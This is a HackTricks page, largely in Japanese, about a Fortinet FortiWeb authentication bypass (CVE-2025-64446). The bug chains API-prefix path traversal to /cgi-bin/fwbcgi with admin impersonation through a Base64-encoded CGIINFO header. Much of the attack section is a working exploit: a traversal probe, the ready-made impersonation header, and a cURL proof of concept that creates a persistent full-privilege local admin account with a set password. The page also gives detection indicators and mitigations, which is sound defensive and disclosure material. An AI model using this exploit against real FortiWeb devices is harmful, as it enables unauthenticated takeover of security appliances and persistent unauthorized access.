Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
Fortinet FortiWeb は /cgi-bin/fwbcgi に集中型のCGIディスパッチャを公開しています。2つのバグを組み合わせることで、未認証のリモート攻撃者が次のことを行えるようになります:
- URLを有効なAPIプレフィックスで開始し、ディレクトリを横断することで
fwbcgiに到達できる。 - CGIが識別情報として信頼する特別なHTTPヘッダを渡すことで、任意のユーザ(組み込みの
adminを含む)を偽装できる。
ベンダーアドバイザリ: FG‑IR‑25‑910 (CVE‑2025‑64446)。実際の攻撃で永続的なadminユーザを作成するために悪用されている事例が確認されています。
影響を受けるバージョン(公表されたもの):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 は下記のトラバーサルプローブに対して HTTP 403 を返します。
クイック脆弱性プローブ
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- 判定: HTTP 200 → 脆弱である可能性が高い; HTTP 403 → パッチ適用済み。
根本原因の連鎖
- API-prefix による path traversal で internal CGI に到達
- 有効な FortiWeb API プレフィックス(例:
/api/v2.0/cmdb/や/api/v2.0/cmd/)で始まる任意のリクエストパスは、../を使って/cgi-bin/fwbcgiまで path traversal できる。
- Minimal-body validation のバイパス
- 一度
fwbcgiに到達すると、最初のゲートは/var/log/inputcheck/以下のパスごとのファイルをキーにした寛容な JSON チェックを行う。ファイルが存在しない場合、チェックは即座に通過する。ファイルが存在する場合でも、ボディは有効な JSON であれば足りる。最小限の準拠ボディとして{}を使う。
- ヘッダー駆動の user impersonation
- プログラムは CGI 環境変数
HTTP_CGIINFO(HTTP ヘッダーCGIINFOに由来)を読み取り、Base64 デコードし、JSON をパースして属性を直接ログインコンテキストにコピーし、domain/VDOM を設定する。関心のあるキー: username,loginname,vdom,profname- 内蔵 admin を偽装するための例示 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
上記の Base64(実際に使われているもの):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
エンドツーエンドの悪用パターン (unauthenticated → admin)
- API-prefix traversal を使って
/cgi-bin/fwbcgiにアクセスする。 - 入力チェックを満たすために任意の有効なJSONボディ(例:
{})を提供する。 - ヘッダ
CGIINFO: <base64(json)>を送信する。ここでJSONは対象の識別情報を定義する。 - fwbcgi が期待するバックエンドJSONをPOSTして特権操作を実行する(例: 永続化のためにadminユーザを作成する)。
Minimal cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin を成りすまして、新しい local admin user を作成する:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
注意:
- 任意の有効なJSONボディ(例:
{})で問題ありません。/var/log/inputcheck/<path>.jsonが存在しない場合。 - The action schema は FortiWeb 内部の仕様です;上の例ではフル権限のローカル管理者を追加します。
検出
../を含む API プレフィックス付きパスを経由して/cgi-bin/fwbcgiに到達するリクエスト(例:/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。- ヘッダ
CGIINFOが存在し、その内容が Base64 エンコードされた JSON でusername/loginname/vdom/profnameのキーを含む。 - バックエンドの痕跡:
/var/log/inputcheck/以下のパスごとのファイル(gate configuration)。- 予期しない管理者作成や設定変更。
- 迅速な検証: トラバーサルプローブが 200(露出)を返す vs 403(修正済みビルドでブロック)を返す。
緩和策
- ベンダーのアドバイザリに従って修正済みリリースへアップグレードする(例: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)。
- 修正されるまで:
- FortiWeb の管理プレーンを信頼できないネットワークに公開しない。
- reverse-proxy/WAF ルールを追加してブロックする:
/api/で始まり../cgi-bin/fwbcgiを含むパス。CGIINFOヘッダを含むリクエスト。- 上記の検出インジケータを監視し、アラートを設定する。
参照
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

